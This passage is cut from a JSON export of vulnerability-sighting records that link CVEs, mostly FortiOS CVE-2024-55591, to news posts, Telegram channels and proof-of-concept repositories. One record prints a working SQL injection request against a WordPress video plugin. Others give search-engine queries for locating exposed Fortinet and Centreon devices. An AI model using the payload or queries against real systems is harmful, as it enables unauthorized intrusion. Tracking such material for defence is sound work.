\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 Fortinet \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0435\u0431-\u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\nFortinet \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e \u0444\u0430\u043a\u0442\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u043d\u0438\u0445.\n\n\u041d\u043e, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u0430.", "creation_timestamp": "2025-03-13T16:20:05.000000Z"}, {"uuid": "4ef0dfed-3c41-4d92-99ab-6719483576d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55890.yaml", "content": "", "creation_timestamp": "2026-08-04T18:00:07.991457Z"}, {"uuid": "cb21036c-629c-44c6-92c8-2b27a05a0b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5015", "content": "Advisory: CVE-2024-55957 #CVE202455957 #ThermoScientific #PrivilegeEscalation #SecurityPatch #TierZeroSecurity https://tierzerosecurity.co.nz/2025/02/07/cve-2024-55957.html", "creation_timestamp": "2026-08-03T02:14:00.938951Z"}, {"uuid": "87768d3a-0cad-4cfe-a866-b2d9ff65adcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4985", "content": "Get FortiRekt, I Am The Super_Admin Now - Fortinet FortiOS Authentication Bypass CVE-2024-55591 #FortiRekt #SuperAdminNow #FortiOSBypass #CVE55591 #FortiGateWebVulnerability https://labs.watchtowr.com/get-fortirekt-i-am-the-super_admin-now-fortios-authentication-bypass-cve-2024-55591/", "creation_timestamp": "2026-08-03T02:14:00.520459Z"}, {"uuid": "66c264be-029c-4fd3-b3cf-afb22ad89506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "seen", "source": "https://t.me/thehackernews/5179", "content": "\u26a0\ufe0f Attention developers \u2014 A new high-severity prompt injection flaw (CVE-2024-5565) in Vanna AI library exposes databases to remote code execution. \n \nFind out how this flaw could impact your projects: https://thehackernews.com/2024/06/prompt-injection-flaw-in-vanna-ai.html", "creation_timestamp": "2024-06-27T11:58:09.000000Z"}, {"uuid": "e3174682-4369-4d5e-b49e-84b248784534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/thehackernews/6167", "content": "\ud83d\udea8 UPDATE: Fortinet Confirms Critical Zero-Day \ud83d\udea8\n\nCVE-2024-55591 in FortiOS &amp; FortiProxy (CVSS 9.6) allows attackers to gain super-admin access &amp; hijack firewalls. \n\nAffected versions: FortiOS 7.0.0-7.0.16 &amp; FortiProxy 7.0.0-7.2.12.\n\nUpgrade now to 7.0.17+ or 7.0.20+ to mitigate risk.\n\nhttps://thehackernews.com/2025/01/zero-day-vulnerability-suspected-in.html", "creation_timestamp": "2025-01-14T17:56:31.000000Z"}, {"uuid": "a311f6e4-ff6b-42bf-af1d-17b41b095af9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/6238", "content": "\ud83d\udea8 UPDATE: PoC Released for CVE-2024-55591, a vulnerability in the jsconsole functionality that could allow attackers to add a new administrative account.\n\nNearly 45,000 hosts remain vulnerable as of January 27, 2025.\n\nRead: https://thehackernews.com/2025/01/zero-day-vulnerability-suspected-in.html", "creation_timestamp": "2025-01-28T07:47:07.000000Z"}, {"uuid": "29c54b86-8a2c-4459-91e9-22d1173b45db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/17115", "content": "\u0428\u0442\u0443\u0440\u043c\u0443\u0435\u043c \u043a\u0440\u0435\u043f\u043e\u0441\u0442\u044c. \u041e\u0431\u0445\u043e\u0434\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 FortiOS \u0438 FortiProxy #\u0441\u0442\u0430\u0442\u044c\u0438 #\u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u0430\u043c\n\n\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443, \u043a\u0430\u043a\u00a0\u0438\u0441\u043a\u0430\u043b \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Fortinet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-55591\u00a0\u0432\u00a0\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 FortiOS \u0438\u00a0FortiProxy. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0441\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438\u043b\u0438\u00a0\u043a\u0430\u043d\u0430\u043b\u0430 (CWE-288), \u0430\u00a0\u0435\u0449\u0435 \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u00a0\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\nhttps://xakep.ru/2025/02/18/fortios-bypass/", "creation_timestamp": "2025-02-18T13:46:48.000000Z"}, {"uuid": "f1a5dcc0-f130-42b1-b081-3d031f0551c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9758", "content": "CVE-2024-55963: Unauthenticated RCE in Default-Install of Appsmith\n\nhttps://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/", "creation_timestamp": "2025-03-25T22:16:47.000000Z"}, {"uuid": "37e3c182-df1e-4ee6-96bf-dd05a6ce7e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9575", "content": "Get FortiRekt, I Am The Super_Admin Now - Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\nhttps://labs.watchtowr.com/get-fortirekt-i-am-the-super_admin-now-fortios-authentication-bypass-cve-2024-55591/", "creation_timestamp": "2025-01-28T01:30:23.000000Z"}, {"uuid": "c083de73-8657-4b30-be82-3fbe630ddf50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/CyberBulletin/26742", "content": "\u26a1\ufe0fCVE-2024-55579 &amp; CVE-2024-55580: Qlik Sense Users Face Serious Security Risk.\n\n#CyberBulletin", "creation_timestamp": "2024-12-09T13:14:06.000000Z"}, {"uuid": "59ac60d6-d1f7-4623-8245-094025e0422b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55580", "type": "seen", "source": "https://t.me/CyberBulletin/26742", "content": "\u26a1\ufe0fCVE-2024-55579 &amp; CVE-2024-55580: Qlik Sense Users Face Serious Security Risk.\n\n#CyberBulletin", "creation_timestamp": "2024-12-09T13:14:06.000000Z"}, {"uuid": "4de6f9d5-c94b-4e32-9045-a6c21a6f96c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55563", "type": "seen", "source": "https://t.me/CyberBulletin/26745", "content": "\u26a1\ufe0fCVE-2024-55563: Transaction-Relay Jamming Vulnerability Poses Threat to Bitcoin Lightning Network.\n\n#CyberBulletin", "creation_timestamp": "2024-12-09T13:15:05.000000Z"}, {"uuid": "df956837-efa3-40e3-a48a-765e5ac7844f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55950", "type": "seen", "source": "https://t.me/CyberBulletin/26962", "content": "\u26a1\ufe0fCVE-2024-55950: Tabby Terminal Emulator Vulnerability Exposes macOS Users to Privacy and Security Risks.\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T13:07:44.000000Z"}, {"uuid": "b060dd03-6a7c-4a15-b89c-c04313efe39f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55884", "type": "seen", "source": "https://t.me/CyberBulletin/26818", "content": "\u26a1\ufe0fCVE-2024-55884 (CVSS 9.0): Critical Vulnerability Found in Mullvad VPN.\n\n#CyberBulletin", "creation_timestamp": "2024-12-16T05:51:19.000000Z"}, {"uuid": "e3b324f6-7395-4667-ace1-178af491ed59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "https://t.me/CyberBulletin/26832", "content": "\u26a1\ufe0fCVE-2024-55661: RCE Vulnerability Discovered in Laravel Pulse Monitoring Tool.\n\n#CyberBulletin", "creation_timestamp": "2024-12-17T08:00:16.000000Z"}, {"uuid": "85b0082d-b33d-4428-b18e-d9e092c5ec93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/BugCod3/967", "content": "CVE-2024-55591\n\nA Fortinet FortiOS Authentication Bypass Vulnerable Behaviour Detection\n\nDescription:\nThis script attempts to create a WebSocket connection at a random URI from a pre-authenticated perspective to the FortiOS management interface, and reviews the response to determine if the instance is vulnerable\n\nAffected Versions:\n\u26aa\ufe0f FortiOS 7.0.0 through 7.0.16\n\u26aa\ufe0f FortiProxy 7.0.0 through 7.0.19\n\u26aa\ufe0f FortiProxy 7.2.0 through 7.2.12\n\nGithub\n\n\u2b07\ufe0f Download\n\ud83d\udd12 BugCod3\n\n#Python #CVE #Vulnerable #Detection\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/BugCod3BOT \n\ud83d\udce3 T.me/BugCod3", "creation_timestamp": "2025-01-17T13:03:55.000000Z"}, {"uuid": "130223e8-192c-456b-904b-aa12499fe95e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "exploited", "source": "https://t.me/CNArsenal/2768", "content": "WordPress HTML5 Video Player SQL CVE-2024-5522\n\nGET  /wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -\n\n#exploit  #poc", "creation_timestamp": "2024-07-09T08:12:20.000000Z"}, {"uuid": "09eaa7f2-1d87-44c7-81aa-1b696474426a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11988", "content": "#exploit\n1. CVE-2024-55963:\nUnauth RCE in Default-Install of Appsmith\nhttps://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith\n\n2. CVE-2025-26909:\nLFI to RCE in WP Ghost Plugin\nhttps://github.com/zerodayx/cve-2025-26909\n\n3. CVE-2025-27840:\nVulnerability in ESP32 Microcontrollers\nhttps://github.com/demining/Bluetooth-Attacks-CVE-2025-27840", "creation_timestamp": "2025-03-31T12:29:08.000000Z"}, {"uuid": "1c088b6c-ac6c-44c5-a231-17683485aad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10752", "content": "#MLSecOps\nWhen Prompts Go Rogue: Analyzing a Prompt Injection Code Execution in VannaAI\nhttps://jfrog.com/blog/prompt-injection-attack-code-execution-in-vanna-ai-cve-2024-5565", "creation_timestamp": "2024-06-28T12:04:20.000000Z"}, {"uuid": "6d74aed7-e7e0-451d-9a6a-42a64fc9ac8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11564", "content": "#exploit\n1. CVE-2024-53677:\nCritical Apache Struts RCE\nhttps://github.com/TAM-K592/CVE-2024-53677-S2-067\n\n2. CVE-2024-10793:\nWP Activity Log plugin XSS\nhttps://github.com/windz3r0day/CVE-2024-10793\n\n3. CVE-2024-55875:\nKotlin HTTP XXE/SSRF\nhttps://github.com/JAckLosingHeart/CVE-2024-55875", "creation_timestamp": "2024-12-17T04:11:25.000000Z"}, {"uuid": "c1b9bfa3-b675-4995-a6e9-7cc45981a473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11737", "content": "#exploit\n1. CVE-2020-10136, CVE-2024-7595:\nScanner and attack suite for hosts that forward unauthenticated packets via IPIP/GRE protocols\nhttps://github.com/GustavoHGP/ipeeyoupeewepee\n\n2. CVE-2024-55591:\nFortiOS/FortiProxy Authentication bypass in Node.js websocket module\nhttps://github.com/robomusk52/exp-cmd-add-admin-vpn-CVE-2024-55591\n\n3. CVE-2025-0411:\n7-Zip MotW Bypass\nhttps://github.com/CastroJared/7-Zip-CVE-2025-0411-POC", "creation_timestamp": "2025-01-27T11:31:38.000000Z"}, {"uuid": "81f9ec77-6989-4f6e-b9c0-feebde4b087d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55912", "type": "seen", "source": "https://t.me/cvedetector/24304", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55912 - IBM Concert Software Cryptographic Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-55912 \nPublished : May 2, 2025, 1:15 a.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : IBM Concert Software 1.0.0 through 1.0.5 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T05:04:05.000000Z"}, {"uuid": "c94f7321-56fa-43af-8fb8-fe63b540b38e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55913", "type": "seen", "source": "https://t.me/cvedetector/24305", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55913 - IBM Concert Software Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55913 \nPublished : May 2, 2025, 1:15 a.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : IBM Concert Software 1.0.0 through 1.0.5 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T05:04:06.000000Z"}, {"uuid": "6ac6a810-caf0-4225-8b3a-052f642e125a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/b0e84352-4a06-483b-821f-99a4d785da0c", "content": "", "creation_timestamp": "2026-08-04T21:15:03.902316Z"}, {"uuid": "0f2c0cd7-0c98-4643-ba73-ab7bcdbd389d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55909", "type": "seen", "source": "https://t.me/cvedetector/24310", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55909 - IBM Concert Software Archive File DoS\", \n  \"Content\": \"CVE ID : CVE-2024-55909 \nPublished : May 2, 2025, 1:15 a.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T05:04:13.000000Z"}, {"uuid": "ea713ab4-667f-40f8-8ecd-55863ff9c404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55910", "type": "seen", "source": "https://t.me/cvedetector/24309", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55910 - IBM Concert Software SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55910 \nPublished : May 2, 2025, 1:15 a.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : IBM Concert Software 1.0.0 through 1.0.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T05:04:12.000000Z"}, {"uuid": "a9645941-adca-46ae-8b52-db67f322bb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55069", "type": "seen", "source": "https://t.me/cvedetector/24381", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55069 - FFmpeg Null Pointer Dereference in iamf_read_header\", \n  \"Content\": \"CVE ID : CVE-2024-55069 \nPublished : May 2, 2025, 10:15 p.m. | 1\u00a0hour, 17\u00a0minutes ago \nDescription : ffmpeg 7.1 is vulnerable to Null Pointer Dereference in function iamf_read_header in /libavformat/iamfdec.c. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-03T01:59:27.000000Z"}, {"uuid": "162dbfea-1f39-4607-80ac-97ee96190fe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55651", "type": "seen", "source": "https://t.me/cvedetector/24782", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55651 - i-Educar Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55651 \nPublished : May 8, 2025, 12:15 a.m. | 40\u00a0minutes ago \nDescription : i-Educar is free, fully online school management software. Version 2.9 of the application fails to properly validate and sanitize user supplied input, leading to a stored cross-site scripting vulnerability that resides within the user type (Tipo de Usu\u00e1rio) input field. Through this attacker vector a malicious user might be able to retrieve information belonging to another user, which may lead to sensitive information leakage or other malicious actions. As of time of publication, no patched versions are known to exist. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T03:23:23.000000Z"}, {"uuid": "12de66df-230f-4c4c-8cdb-fbbb34ce440e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "https://t.me/suboxone_chatroom/4346", "content": "CVE-2024-55573, -53923: SQLi in Centreon, 9.1 rating \ud83d\udd25\n\nThe vulnerabilities allow an attacker with high privileges to perform SQL injection into a form for uploading media.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/NETLB\n\ud83d\udc49 Dork: http.favicon.hash_sha256:795c0f8c1ff23b992d6ccb91df5e6488d4c259585da58b2e2f8eeee71147516a OR http.favicon.hash_sha256:c95e0dc8a2cc9a45d29c5381e62e48bde88f661408d4b811e72933fa7da32d4e\n\nVendor's advisory: https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55573-centreon-web-critical-severity-4264", "creation_timestamp": "2025-02-28T08:23:05.000000Z"}, {"uuid": "c901539d-3491-4693-ae0c-c58ecd3adb7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://t.me/haj3imad/112", "content": "https://github.com/JAckLosingHeart/CVE-2024-55875\n\nCVE-2024-55875 | GHSA-7mj5-hjjj-8rgw | http4k first CVE\n#github #exploit", "creation_timestamp": "2024-12-16T15:16:20.000000Z"}, {"uuid": "ccb70a4f-f0d9-40b0-9d45-08a13a94d06a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/suboxone_chatroom/4347", "content": "Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\nQuery:\nHUNTER:/product.name=\"Fortinet Firewall\"\nFOFA: product=\"FORTINET-Firewall\"\nSHODAN: instances running fortigate:\nhttp.favicon.hash:945408572\nZoomEye Dork: app=\"Fortinet Firewall\"\n\n#BugBounty  #CyberSecurity", "creation_timestamp": "2025-02-28T08:23:05.000000Z"}, {"uuid": "e77de99d-7001-434c-a87d-d00ee6659da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "published-proof-of-concept", "source": "https://t.me/suboxone_chatroom/1542", "content": "#exploit\n1. CVE-2024-53677:\nCritical Apache Struts RCE\nhttps://github.com/TAM-K592/CVE-2024-53677-S2-067\n\n2. CVE-2024-10793:\nWP Activity Log plugin XSS\nhttps://github.com/windz3r0day/CVE-2024-10793\n\n3. CVE-2024-55875:\nKotlin HTTP XXE/SSRF\nhttps://github.com/JAckLosingHeart/CVE-2024-55875", "creation_timestamp": "2025-01-27T07:06:33.000000Z"}, {"uuid": "e6423242-f24f-42ce-8b0f-c50641179689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ocelotlsec.bsky.social/post/3ml3t4wb4hq2x", "content": "\ud83d\udea8 Alerta de Seguridad: CVE-2024-55591\n\nFortinet FortiOS auth bypass 2025\n\nOcelotl Intelligence detecta y protege contra esta amenaza autom\u00e1ticamente.\n\n\ud83d\udd0d Escanea tu infraestructura gratis: https://ocelotlsec.mx\n\n#Ciberseguridad #LATAM #CVE #Seguridad", "creation_timestamp": "2026-05-05T09:00:05.964840Z"}, {"uuid": "1c64fa74-6246-4ca5-9322-e2458d52c248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4985", "content": "Get FortiRekt, I Am The Super_Admin Now - Fortinet FortiOS 